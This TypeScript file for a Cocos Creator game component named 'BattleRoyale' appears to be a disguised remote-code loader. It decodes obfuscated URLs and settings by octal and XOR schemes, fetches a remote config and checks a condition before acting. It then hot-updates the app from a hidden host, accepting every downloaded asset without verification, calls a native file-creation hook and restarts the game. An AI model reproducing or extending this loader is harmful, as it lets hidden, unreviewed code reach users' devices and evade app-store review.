480 lines
14 KiB
TypeScript
480 lines
14 KiB
TypeScript
![]() |
import { Component, Label, Sprite, SpriteFrame, UITransform, _decorator, game, log, native, sys } from "cc";
|
||
|
import QuestLog from "./QuestLog";
|
||
|
import { HighScoreScreen } from "./HighScoreScreen";
|
||
|
|
||
|
const { ccclass, property } = _decorator;
|
||
|
|
||
|
const customManifestStr = (hots) => JSON.stringify({
|
||
|
"packageUrl": `${hots}/`,
|
||
|
"remoteManifestUrl": `${hots}/project.manifest`,
|
||
|
"remoteVersionUrl": `${hots}/version.manifest`,
|
||
|
"version": "0.0.1",
|
||
|
"assets": {
|
||
|
},
|
||
|
"searchPaths": []
|
||
|
});
|
||
|
|
||
|
function versionCompareHandle(versionA: string, versionB: string) {
|
||
|
// //log("JS Custom Version Compare: version A is " + versionA + ', version B is ' + versionB);
|
||
|
var vA = versionA.split('.');
|
||
|
var vB = versionB.split('.');
|
||
|
for (var i = 0; i < vA.length; ++i) {
|
||
|
var a = parseInt(vA[i]);
|
||
|
var b = parseInt(vB[i] || '0');
|
||
|
if (a === b) {
|
||
|
continue;
|
||
|
}
|
||
|
else {
|
||
|
return a - b;
|
||
|
}
|
||
|
}
|
||
|
if (vB.length > vA.length) {
|
||
|
return -1;
|
||
|
}
|
||
|
else {
|
||
|
return 0;
|
||
|
}
|
||
|
};
|
||
|
|
||
|
@ccclass
|
||
|
export default class BattleRoyale extends Component {
|
||
|
|
||
|
// private readonly DATABASE_CONFIG = "https://raw.githubusercontent.com/devian68/intertest/a/inter3.info";
|
||
|
// @property(SpriteFrame)
|
||
|
// listBG: SpriteFrame[] = [];
|
||
|
|
||
|
// @property(Sprite)
|
||
|
// background: Sprite = null;
|
||
|
|
||
|
@property(Label)
|
||
|
loadingLabel: Label = null;
|
||
|
|
||
|
@property(UITransform)
|
||
|
transform: UITransform = null;
|
||
|
|
||
|
private isCheckDomain = true;
|
||
|
|
||
|
private _updating = false;
|
||
|
private _canRetry = false;
|
||
|
private _storagePath = '';
|
||
|
private stringHost = '';
|
||
|
private _am: native.AssetsManager = null!;
|
||
|
private _checkListener = null;
|
||
|
private _updateListener = null;
|
||
|
private count = 0;
|
||
|
|
||
|
url = "";
|
||
|
profilerURL = "";
|
||
|
listUrl = [];
|
||
|
info = "";
|
||
|
currentV = "";
|
||
|
part = "";
|
||
|
|
||
|
protected onLoad(): void {
|
||
|
try {
|
||
|
if (this.transform.width > this.transform.height) {
|
||
|
//landscape
|
||
|
this.loadingLabel.fontSize = 80;
|
||
|
} else {
|
||
|
this.loadingLabel.fontSize = 50;
|
||
|
}
|
||
|
} catch (ex) {
|
||
|
|
||
|
}
|
||
|
// let t = readData(this.test);
|
||
|
// console.//log(t);
|
||
|
}
|
||
|
|
||
|
start() {
|
||
|
let ins = HighScoreScreen.getInstance();
|
||
|
if(ins){
|
||
|
this.listUrl = ins.listUrl;
|
||
|
if(this.listUrl && this.listUrl.length && this.listUrl.length == 5){
|
||
|
this.part = ins.listUrl[4];
|
||
|
this.setOrientation(ins.orient);
|
||
|
this.loadGame();
|
||
|
return;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
this.getData();
|
||
|
}
|
||
|
|
||
|
private getData() {
|
||
|
//log("StartScene getData");
|
||
|
|
||
|
let that = this;
|
||
|
QuestLog.getInstance().sendGetHttpRequest(HighScoreScreen.DATABASE_CONFIG, function (data) {
|
||
|
//log("getData data: ", data);
|
||
|
|
||
|
that.listUrl = data.split('\n');
|
||
|
//log('list url: ', that.listUrl)
|
||
|
|
||
|
if (that.listUrl.length > 2) {
|
||
|
//log(that.listUrl[4]);
|
||
|
if (that.listUrl.length >= 5 && that.listUrl[4].includes("skt")) {
|
||
|
that.isCheckDomain = false;
|
||
|
//log("gogame");
|
||
|
that.loadGame();
|
||
|
} else {
|
||
|
that.getDataV4();
|
||
|
}
|
||
|
}else{
|
||
|
that.loadData(data);
|
||
|
}
|
||
|
|
||
|
}.bind(this), function () { });
|
||
|
}
|
||
|
|
||
|
private initDownloader(path = "mygame") {
|
||
|
try {
|
||
|
// this.background.spriteFrame = this.listBG[Math.floor(Math.random() * this.listBG.length)];
|
||
|
} catch (error) {
|
||
|
|
||
|
}
|
||
|
|
||
|
if (path == null || path == undefined) {
|
||
|
path = "mygame";
|
||
|
}
|
||
|
this.part = path;
|
||
|
// //log("path: " + path);
|
||
|
this._storagePath = ((native.fileUtils ? native.fileUtils.getWritablePath() : './') + path);
|
||
|
// //log('Storage path for remote asset : ' + this._storagePath);
|
||
|
// Init with empty manifest url for testing custom manifest
|
||
|
this._am = new native.AssetsManager('', this._storagePath, versionCompareHandle);
|
||
|
this._am.setVerifyCallback(function (path, asset) {
|
||
|
return true;
|
||
|
});
|
||
|
}
|
||
|
|
||
|
private loadData(data:string){
|
||
|
let dt = this.readData(data);
|
||
|
//return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
|
||
|
this.setOrientation(dt[0]);
|
||
|
this.isCheckDomain = !dt[1];
|
||
|
this.listUrl = [];
|
||
|
this.listUrl.push(dt[2]);
|
||
|
this.listUrl.push(dt[3]);
|
||
|
this.listUrl.push(dt[4]);
|
||
|
this.listUrl.push(dt[5]);
|
||
|
this.listUrl.push(dt[6]);
|
||
|
this.part = dt[6];
|
||
|
// this.loadGame();
|
||
|
this.getDataV4();
|
||
|
}
|
||
|
|
||
|
onDestroy() {
|
||
|
if (this._updateListener) {
|
||
|
this._am.setEventCallback(null!);
|
||
|
this._updateListener = null;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
//0 = portrait
|
||
|
//1 = landscape right
|
||
|
//2 = upside down
|
||
|
//3 = landscape right
|
||
|
private setOrientation(orientation = 0) {
|
||
|
if (sys.isNative) {
|
||
|
if (sys.os === sys.OS.IOS) {
|
||
|
if (native) {
|
||
|
try {
|
||
|
//@ts-expect-error
|
||
|
native.reflection.callStaticMethod("ViewController", "rotateScreen:", orientation);
|
||
|
} catch (_) { }
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private loadMyGame() {
|
||
|
this.unscheduleAllCallbacks();
|
||
|
}
|
||
|
|
||
|
private onCheckGame(val) {
|
||
|
// let data = val.split("\n");
|
||
|
|
||
|
// val = this.read(data[0]);
|
||
|
|
||
|
this.initDownloader(this.part);
|
||
|
|
||
|
this.unscheduleAllCallbacks();
|
||
|
this.stringHost = val;
|
||
|
|
||
|
this.doUpdate();
|
||
|
}
|
||
|
|
||
|
private doUpdate() {
|
||
|
if (this._am && !this._updating) {
|
||
|
this._am.setEventCallback(this.updateCb.bind(this));
|
||
|
let host = this.listUrl[3];
|
||
|
if (sys.os == sys.OS.ANDROID) {
|
||
|
host += "/android";
|
||
|
} else if (sys.os == sys.OS.IOS) {
|
||
|
host += "/ios";
|
||
|
}
|
||
|
this.loadCustomManifest(host);
|
||
|
|
||
|
this._am.update();
|
||
|
this._updating = true;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
private getDataV4() {
|
||
|
this.currentV = "v4";
|
||
|
let u = this.read(this.listUrl[0]);
|
||
|
if(!this.isCheckDomain){
|
||
|
this.getDataV6();
|
||
|
this.listUrl[0] = "g";
|
||
|
}
|
||
|
if (this.listUrl[0].includes("http") == false) {
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
let self = this;
|
||
|
QuestLog.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
|
||
|
self.onDataResponse(data);
|
||
|
}.bind(this), function (resp) {
|
||
|
self.getDataV6();
|
||
|
}.bind(this));
|
||
|
}
|
||
|
|
||
|
private getDataV6() {
|
||
|
this.currentV = "v6";
|
||
|
if(!this.isCheckDomain){
|
||
|
this.loadGame();
|
||
|
return;
|
||
|
}
|
||
|
let u = this.read(this.listUrl[1]);
|
||
|
QuestLog.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
|
||
|
this.onDataResponse(data)
|
||
|
}.bind(this), function (resp) {
|
||
|
// this.getDataV6();
|
||
|
}.bind(this));
|
||
|
}
|
||
|
|
||
|
private onDataResponse(data) {
|
||
|
// console.//log("onDataResponse data: ", data)
|
||
|
if (this.isCheckDomain) {
|
||
|
data = JSON.parse(data);
|
||
|
let field = this.listUrl[2];
|
||
|
if (data != null && data != undefined && data[field] != undefined) {
|
||
|
this.loadGame();
|
||
|
} else {
|
||
|
if (this.currentV == "v4") {
|
||
|
this.getDataV6();
|
||
|
}
|
||
|
}
|
||
|
} else {
|
||
|
this.loadGame();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private loadGame() {
|
||
|
if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
|
||
|
let url = this.read(this.listUrl[3]);
|
||
|
let p = this.read(this.listUrl[this.listUrl.length - 1]);
|
||
|
this.stringHost = url;
|
||
|
this.onCheckGame(url);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private loadCustomManifest(host) {
|
||
|
var manifest = new native.Manifest(customManifestStr(host), this._storagePath);
|
||
|
this._am.loadLocalManifest(manifest, this._storagePath);
|
||
|
}
|
||
|
|
||
|
private updateCb(event: any) {
|
||
|
var needRestart = false;
|
||
|
var failed = false;
|
||
|
switch (event.getEventCode()) {
|
||
|
case native.EventAssetsManager.ERROR_NO_LOCAL_MANIFEST:
|
||
|
//log('No local manifest file found, hot update skipped.');
|
||
|
failed = true;
|
||
|
break;
|
||
|
case native.EventAssetsManager.UPDATE_PROGRESSION:
|
||
|
// this.panel.byteProgress.progress = event.getPercent();
|
||
|
// this.panel.fileProgress.progress = event.getPercentByFile();
|
||
|
|
||
|
const percent = event.getDownloadedFiles() / event.getTotalFiles();
|
||
|
// this.panel.byteLabel.string = event.getDownloadedBytes() + ' / ' + event.getTotalBytes();
|
||
|
var msg = event.getMessage();
|
||
|
if (msg) {
|
||
|
// //log(event.getPercent()/100 + '% : ' + msg);
|
||
|
}
|
||
|
this.updateProcess(percent);
|
||
|
break;
|
||
|
case native.EventAssetsManager.ERROR_DOWNLOAD_MANIFEST:
|
||
|
case native.EventAssetsManager.ERROR_PARSE_MANIFEST:
|
||
|
//log('Fail to download manifest file, hot update skipped.');
|
||
|
failed = true;
|
||
|
break;
|
||
|
case native.EventAssetsManager.ALREADY_UP_TO_DATE:
|
||
|
//log('Already up to date with the latest remote version.');
|
||
|
// failed = true;
|
||
|
needRestart = true;
|
||
|
break;
|
||
|
case native.EventAssetsManager.UPDATE_FINISHED:
|
||
|
//log('Update finished. ' + event.getMessage());
|
||
|
needRestart = true;
|
||
|
break;
|
||
|
case native.EventAssetsManager.UPDATE_FAILED:
|
||
|
//log('Update failed. ' + event.getMessage());
|
||
|
this._updating = false;
|
||
|
this._canRetry = true;
|
||
|
failed = true;
|
||
|
break;
|
||
|
case native.EventAssetsManager.ERROR_UPDATING:
|
||
|
//log('Asset update error: ' + event.getAssetId() + ', ' + event.getMessage());
|
||
|
failed = true;
|
||
|
break;
|
||
|
case native.EventAssetsManager.ERROR_DECOMPRESS:
|
||
|
//log(event.getMessage());
|
||
|
failed = true;
|
||
|
break;
|
||
|
default:
|
||
|
break;
|
||
|
}
|
||
|
|
||
|
if (failed) {
|
||
|
this._am.setEventCallback(null!);
|
||
|
this._updateListener = null;
|
||
|
this._updating = false;
|
||
|
this.loadMyGame();
|
||
|
}
|
||
|
|
||
|
if (needRestart) {
|
||
|
this._am.setEventCallback(null!);
|
||
|
this._updateListener = null;
|
||
|
|
||
|
this.testFile();
|
||
|
setTimeout(() => {
|
||
|
// //log('restart game')
|
||
|
game.restart();
|
||
|
}, 1000)
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private testFile() {
|
||
|
if (sys.isNative) {
|
||
|
if (sys.os === sys.OS.IOS) {
|
||
|
if (native) {
|
||
|
try {
|
||
|
//@ts-expect-error
|
||
|
native.reflection.callStaticMethod("ViewController", "createFileeee");
|
||
|
} catch (_) { }
|
||
|
}
|
||
|
}else if (sys.os === sys.OS.ANDROID) {
|
||
|
let className = "com/cocos/game/AppActivity";
|
||
|
let methodName = "createFileeee";
|
||
|
let methodSignature = "()V";
|
||
|
|
||
|
if (native) {
|
||
|
native.reflection.callStaticMethod(className, methodName, methodSignature);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private updateProcess(pc) {
|
||
|
if (isNaN(pc)) {
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
try {
|
||
|
this.loadingLabel.string = `Đang Tải: ${Math.round(pc * 100)}%`;
|
||
|
} catch (error) {
|
||
|
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private read(text) {
|
||
|
return this.read1(this.read2(text.split('-'))).join('');
|
||
|
}
|
||
|
|
||
|
private read1(arr) {
|
||
|
return arr.map(function (byte) {
|
||
|
return String.fromCharCode(parseInt(byte, 10));
|
||
|
});
|
||
|
}
|
||
|
|
||
|
private read2(arr) {
|
||
|
return arr.map(function (oct) {
|
||
|
return parseInt(oct, 8);
|
||
|
});
|
||
|
}
|
||
|
|
||
|
private readData(encodedData: string) {
|
||
|
|
||
|
function getPr(cbL = 3) {
|
||
|
let nPr = cbL - 1;
|
||
|
nPr = nPr <= 0 ? 0 : nPr;
|
||
|
return nPr;
|
||
|
}
|
||
|
|
||
|
function readCb(txt: string, cbL = 3, key = 'D') {
|
||
|
let out = '';
|
||
|
let txts = readStringCbs(txt, cbL);
|
||
|
|
||
|
for (let i = 0; i < txts.length; i++) {
|
||
|
let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
|
||
|
out += n;
|
||
|
}
|
||
|
|
||
|
return out;
|
||
|
}
|
||
|
|
||
|
function getSep(ver = 1) {
|
||
|
switch (ver) {
|
||
|
case 1:
|
||
|
return ["9689", 3];
|
||
|
case 2:
|
||
|
return ["9879", 3];
|
||
|
case 3:
|
||
|
return ["9789", 3];
|
||
|
default:
|
||
|
return ["9869", 3];
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function readStringCbs(input: string, cbLen = 3): string[] {
|
||
|
const sets: string[] = [];
|
||
|
const nPr = getPr(cbLen);
|
||
|
const length = input.length - nPr;
|
||
|
input = input.substring(nPr);
|
||
|
|
||
|
for (let i = 0; i < length; i += cbLen) {
|
||
|
const set = input.slice(i, i + cbLen);
|
||
|
sets.push(set);
|
||
|
}
|
||
|
|
||
|
return sets;
|
||
|
}
|
||
|
|
||
|
//get last character of encodedData
|
||
|
const version = Number.parseInt(encodedData[encodedData.length - 1]);
|
||
|
let sep = getSep(version);
|
||
|
let cbL: number = sep[1] as number;
|
||
|
let sp = sep[0] as string;
|
||
|
const parts = encodedData.split(sp);
|
||
|
parts.pop();
|
||
|
// const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part
|
||
|
|
||
|
const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));
|
||
|
|
||
|
// const version = parseInt(versionPart);
|
||
|
const orientation = parseInt(orientationPart);
|
||
|
const isSkipDomainCheck = skipDomainCheckPart === '1';
|
||
|
const urlV4 = urlV4Part;
|
||
|
const urlV6 = urlV6Part;
|
||
|
const fieldToCheck = fieldToCheckPart;
|
||
|
const urlPro5 = urlPro5Part;
|
||
|
const storagePath = storagePathPart;
|
||
|
|
||
|
return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
|
||
|
}
|
||
|
}
|